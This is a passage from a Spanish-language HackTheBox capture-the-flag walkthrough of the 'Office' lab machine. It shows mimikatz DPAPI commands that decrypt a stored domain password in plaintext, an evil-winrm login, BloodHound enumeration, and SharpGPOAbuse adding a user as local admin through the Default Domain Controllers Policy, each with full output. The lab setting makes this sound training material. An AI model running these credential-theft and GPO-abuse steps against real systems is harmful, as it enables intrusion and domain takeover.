algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : 540c745f74ac62c43d245e850eb9952d6daf6a803163b94683eb82a30bf3d20d8e72d4e1003e0f17ca2575722c009e1855333ddacb7f08702369b0035aff50163eee5d2f2384fe28 [domainkey] **DOMAINKEY** dwVersion : 00000002 - 2 dwSecretLen : 00000100 - 256 dwAccesscheckLen : 00000058 - 88 guidMasterKey : {e523832a-e126-4d6e-ac04-ed10da72b32f} pbSecret : dda74feddaea0b4119723acb88bb3aa033b85d6fd6451d04d0afa95d00c640d33d83f0894c5c62fd6298327c40773512ccad8961131005b450732f72bc3ece29defa2088def5dce8f64ff76641057d473ad0073688c39c491286461b57a38eddbde92f213811ba2ec0f7867cd377df0b860584e3fc082529e7adaa437ebb3ac8c39a567df96bf21ce21bfb7c687b613b678a8be14f1fc6e96c9a16a18c156bc0255e514cfd61eb4d81fa08060c6cd35d330f5a0121ca7126ba667ccb1fbb2f93857f8230e20606b7b69d558b9462012db6e6418acd86d1b9a671d94ff92e5fd3684b099f5a29165a3410ddb9e924b4b31f22428895f37815badf7ec30fe80884 pbAccesscheck : a98be73386a3dca744e20b13b967e3bc4a1f58bf9be981bf84cf2e2c4daab8ca4def27d6e22540e7eebadd6c122ed75a1b991532d88794e2e999673385241275fe2735bbbb46f9e88dbd799589b42d572ca6b14ecf279a6d Auto SID from path seems to be: S-1-5-21-1199398058-4196589450-691661856-1107 [domainkey] with RPC [DC] 'office.htb' will be the domain [DC] 'DC.office.htb' will be the DC server key : 3f891c81971ccacb02123a9dde170eaae918026ccc0a305b221d3582de4add84c900ae79f950132e4a70b0ef49dea6907b4f319c5dd10f60cc31cb1e3bc33024 sha1: fbab11cacdd8407e8db9604f0f8c92178bee6fd3 mimikatz(commandline) # dpapi::cache CREDENTIALS cache ================= MASTERKEYS cache ================ GUID:{10811601-0fa9-43c2-97e5-9bef8471fc7d};KeyHash:fbab11cacdd8407e8db9604f0f8c92178bee6fd3 DOMAINKEYS cache ================ PS C:\temp> .\mimikatz.exe "dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" "dpapi::cache" exit .\mimikatz.exe "dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" "dpapi::cache" exit .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc **MASTERKEYS** dwVersion : 00000002 - 2 szGuid : {191d3f9d-7959-4b4d-a520-a444853c47eb} dwFlags : 00000000 - 0 dwMasterKeyLen : 00000088 - 136 dwBackupKeyLen : 00000068 - 104 dwCredHistLen : 00000000 - 0 dwDomainKeyLen : 00000174 - 372 [masterkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : c521daa0857ee4fa6e4246266081e94c rounds : 00004650 - 18000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : 1107e1ab3e107528a73a2dafc0a2db28de1ea0a07e92cff03a935635013435d75e41797f612903d6eea41a8fc4f7ebe8d2fbecb0c74cdebb1e7df3c692682a066faa3edf107792d116584625cc97f0094384a5be811e9d5ce84e5f032704330609171c973008d84f [backupkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : a2741b13d7261697be4241ebbe05098a rounds : 00004650 - 18000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : 21bf24763fbb1400010c08fccc5423fe7da8190c61d3006f2d5efd5ea586f463116805692bae637b2ab548828b3afb9313edc715edd11dc21143f4ce91f4f67afe987005320d3209 [domainkey] **DOMAINKEY** dwVersion : 00000002 - 2 dwSecretLen : 00000100 - 256 dwAccesscheckLen : 00000058 - 88 guidMasterKey : {e523832a-e126-4d6e-ac04-ed10da72b32f} pbSecret : 159613bdc2d90dd4834a37e29873ce04c74722a706d0ba4770865039b3520ff46cf9c9281542665df2e72db48f67e16e2014e07b88f8b2f7d376a8b9d47041768d650c20661aee31dc340aead98b7600662d2dc320b4f89cf7384c2a47809c024adf0694048c38d6e1e3e10e8bd7baa7a6f1214cd3a029f8372225b2df9754c19e2ae4bc5ff4b85755b4c2dfc89add9f73c54ac45a221e5a72d3efe491aa6da8fb0104a983be20af3280ae68783e8648df413d082fa7d25506e9e6de1aadbf9cf93ec8dfc5fab4bfe1dd1492dbb679b1fa25c3f15fb8500c6021f518c74e42cd4b5d5d6e1057f912db5479ebda56892f346b4e9bf6404906c7cd65a54eea2842 pbAccesscheck : 1430b9a3c4ab2e9d5f61dd6c62aab8e1742338623f08461fe991cccd5b3e4621d4c8e322650460181967c409c20efcf02e8936c007f7a506566d66ba57448aa8c3524f0b9cf881afcbb80c9d8c341026f3d45382f63f8665 Auto SID from path seems to be: S-1-5-21-1199398058-4196589450-691661856-1107 [domainkey] with RPC [DC] 'office.htb' will be the domain [DC] 'DC.office.htb' will be the DC server key : 87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166 sha1: 85285eb368befb1670633b05ce58ca4d75c73c77 mimikatz(commandline) # dpapi::cache CREDENTIALS cache ================= MASTERKEYS cache ================ GUID:{191d3f9d-7959-4b4d-a520-a444853c47eb};KeyHash:85285eb368befb1670633b05ce58ca4d75c73c77 DOMAINKEYS cache ================ |
Y hemos sacado las claves de la caché, así que ahora vamos a descifrarlas
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 |
PS C:\temp> .\mimikatz.exe "dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" "dpapi::cache" "dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4" exit .\mimikatz.exe "dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" "dpapi::cache" "dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4" exit .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc **MASTERKEYS** dwVersion : 00000002 - 2 szGuid : {191d3f9d-7959-4b4d-a520-a444853c47eb} dwFlags : 00000000 - 0 dwMasterKeyLen : 00000088 - 136 dwBackupKeyLen : 00000068 - 104 dwCredHistLen : 00000000 - 0 dwDomainKeyLen : 00000174 - 372 [masterkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : c521daa0857ee4fa6e4246266081e94c rounds : 00004650 - 18000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : 1107e1ab3e107528a73a2dafc0a2db28de1ea0a07e92cff03a935635013435d75e41797f612903d6eea41a8fc4f7ebe8d2fbecb0c74cdebb1e7df3c692682a066faa3edf107792d116584625cc97f0094384a5be811e9d5ce84e5f032704330609171c973008d84f [backupkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : a2741b13d7261697be4241ebbe05098a rounds : 00004650 - 18000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : 21bf24763fbb1400010c08fccc5423fe7da8190c61d3006f2d5efd5ea586f463116805692bae637b2ab548828b3afb9313edc715edd11dc21143f4ce91f4f67afe987005320d3209 [domainkey] **DOMAINKEY** dwVersion : 00000002 - 2 dwSecretLen : 00000100 - 256 dwAccesscheckLen : 00000058 - 88 guidMasterKey : {e523832a-e126-4d6e-ac04-ed10da72b32f} pbSecret : 159613bdc2d90dd4834a37e29873ce04c74722a706d0ba4770865039b3520ff46cf9c9281542665df2e72db48f67e16e2014e07b88f8b2f7d376a8b9d47041768d650c20661aee31dc340aead98b7600662d2dc320b4f89cf7384c2a47809c024adf0694048c38d6e1e3e10e8bd7baa7a6f1214cd3a029f8372225b2df9754c19e2ae4bc5ff4b85755b4c2dfc89add9f73c54ac45a221e5a72d3efe491aa6da8fb0104a983be20af3280ae68783e8648df413d082fa7d25506e9e6de1aadbf9cf93ec8dfc5fab4bfe1dd1492dbb679b1fa25c3f15fb8500c6021f518c74e42cd4b5d5d6e1057f912db5479ebda56892f346b4e9bf6404906c7cd65a54eea2842 pbAccesscheck : 1430b9a3c4ab2e9d5f61dd6c62aab8e1742338623f08461fe991cccd5b3e4621d4c8e322650460181967c409c20efcf02e8936c007f7a506566d66ba57448aa8c3524f0b9cf881afcbb80c9d8c341026f3d45382f63f8665 Auto SID from path seems to be: S-1-5-21-1199398058-4196589450-691661856-1107 [domainkey] with RPC [DC] 'office.htb' will be the domain [DC] 'DC.office.htb' will be the DC server key : 87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166 sha1: 85285eb368befb1670633b05ce58ca4d75c73c77 mimikatz(commandline) # dpapi::cache CREDENTIALS cache ================= MASTERKEYS cache ================ GUID:{191d3f9d-7959-4b4d-a520-a444853c47eb};KeyHash:85285eb368befb1670633b05ce58ca4d75c73c77 DOMAINKEYS cache ================ mimikatz(commandline) # dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4 **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {191d3f9d-7959-4b4d-a520-a444853c47eb} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 0000003a - 58 szDescription : Enterprise Credential Data algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : 649c4466d5d647dd2c595f4e43fb7e1d dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : 32e88dfd1927fdef0ede5abf2c024e3a dwDataLen : 000000c0 - 192 pbData : f73b168ecbad599e5ca202cf9ff719ace31cc92423a28aff5838d7063de5cccd4ca86bfb2950391284b26a34b0eff2dbc9799bdd726df9fad9cb284bacd7f1ccbba0fe140ac16264896a810e80cac3b68f82c80347c4deaf682c2f4d3be1de025f0a68988fa9d633de943f7b809f35a141149ac748bb415990fb6ea95ef49bd561eb39358d1092aef3bbcc7d5f5f20bab8d3e395350c711d39dbe7c29d49a5328975aa6fd5267b39cf22ed1f9b933e2b8145d66a5a370dcf76de2acdf549fc97 dwSignLen : 00000014 - 20 pbSign : 21bfb22ca38e0a802e38065458cecef00b450976 Decrypting Credential: * volatile cache: GUID:{191d3f9d-7959-4b4d-a520-a444853c47eb};KeyHash:85285eb368befb1670633b05ce58ca4d75c73c77 **CREDENTIAL** credFlags : 00000030 - 48 credSize : 000000be - 190 credUnk0 : 00000000 - 0 Type : 00000002 - 2 - domain_password Flags : 00000000 - 0 LastWritten : 5/9/2023 11:03:21 PM unkFlagsOrSize : 00000018 - 24 Persist : 00000003 - 3 - enterprise AttributeCount : 00000000 - 0 unk0 : 00000000 - 0 unk1 : 00000000 - 0 TargetName : Domain:interactive=OFFICE\HHogan UnkData : (null) Comment : (null) TargetAlias : (null) UserName : OFFICE\HHogan CredentialBlob : H4ppyFtW183# Attributes : 0 mimikatz(commandline) # exit Bye! |
Y ya tenemos la clave, así que vamos a conectar por winrm
|
1 2 3 4 5 6 7 8 9 10 11 |
$ evil-winrm -i office.htb -u hhogan -p 'H4ppyFtW183#' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\HHogan\Documents> whoami office\hhogan |
Escalado a administrator
Para el último paso necesitamos conocer un poco más a fondo la configuración del Active Directory, así que vamos a dumpear y analizar los datos con bloodhound
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ bloodhound-python -c ALL -u hhogan -p 'H4ppyFtW183#' -d office.htb -dc dc.office.htb -ns 10.129.105.137 INFO: Found AD domain: office.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) INFO: Connecting to LDAP server: dc.office.htb WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead... INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.office.htb WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead... INFO: Found 13 users INFO: Found 54 groups INFO: Found 8 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC.office.htb INFO: Done in 00M 10S |
Revisamos en nuestro kali el usuario y vemos que pertenece al grupo GPO Managers

Así que vamos a verificar los mismos en la máquina
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
*Evil-WinRM* PS C:\Users\HHogan\Documents> whoami /all USER INFORMATION ---------------- User Name SID ============= ============================================= office\hhogan S-1-5-21-1199398058-4196589450-691661856-1108 GROUP INFORMATION ----------------- Group Name Type SID Attributes =========================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group OFFICE\GPO Managers Group S-1-5-21-1199398058-4196589450-691661856-1117 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled. |
Al pertenecer al grupo de GPO Managers, puede crear/modificar/eliminar cualquier gpo, por lo que vamos a revisar en primer lugar que gpos existenten actualmente
|
1 2 3 4 5 6 7 8 9 |
*Evil-WinRM* PS C:\Users\HHogan\Documents> Get-GPO -All | Select-Object -ExpandProperty DisplayName Windows Firewall GPO Default Domain Policy Default Active Directory Settings GPO Default Domain Controllers Policy Windows Update GPO Windows Update Domain Policy Software Installation GPO Password Policy GPO |
Vistas las GPOs, vamos a utilizar SharpGPOAbuse para añadir al usuario a la gpo
|
1 |
Default Domain Controllers Policy |
Así que ejecutamos
|
1 2 3 4 5 6 7 8 9 10 11 12 |
*Evil-WinRM* PS C:\Users\HHogan\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy" [+] Domain = office.htb [+] Domain Controller = DC.office.htb [+] Distinguished Name = CN=Policies,CN=System,DC=office,DC=htb [+] SID Value of HHogan = S-1-5-21-1199398058-4196589450-691661856-1108 [+] GUID of "Default Domain Controllers Policy" is: {6AC1786C-016F-11D2-945F-00C04fB984F9} [+] File exists: \\office.htb\SysVol\office.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf [+] The GPO does not specify any group memberships. [+] versionNumber attribute changed successfully [+] The version number in GPT.ini was increased successfully. [+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle. [+] Done! |
Forzamos el update de las políticas
|
1 2 3 4 5 6 |
*Evil-WinRM* PS C:\Users\HHogan\Documents> gpupdate /force Updating policy... Computer Policy update has completed successfully. User Policy update has completed successfully. |
Y verificamos que realmente está incluido en el grupo y es administrador
|
1 2 3 4 5 6 7 8 9 10 |
*Evil-WinRM* PS C:\Users\HHogan\Documents> net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator HHogan The command completed successfully. |
Obteniendo la flag de root
Como ya somos admin, vamos a por la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
*Evil-WinRM* PS C:\users\administrator\desktop> dir Directory: C:\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 2/21/2024 3:22 AM 34 root.txt *Evil-WinRM* PS C:\users\administrator\desktop> type root.txt 5da74830cbc84fec5a7773d4f41a9d63 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










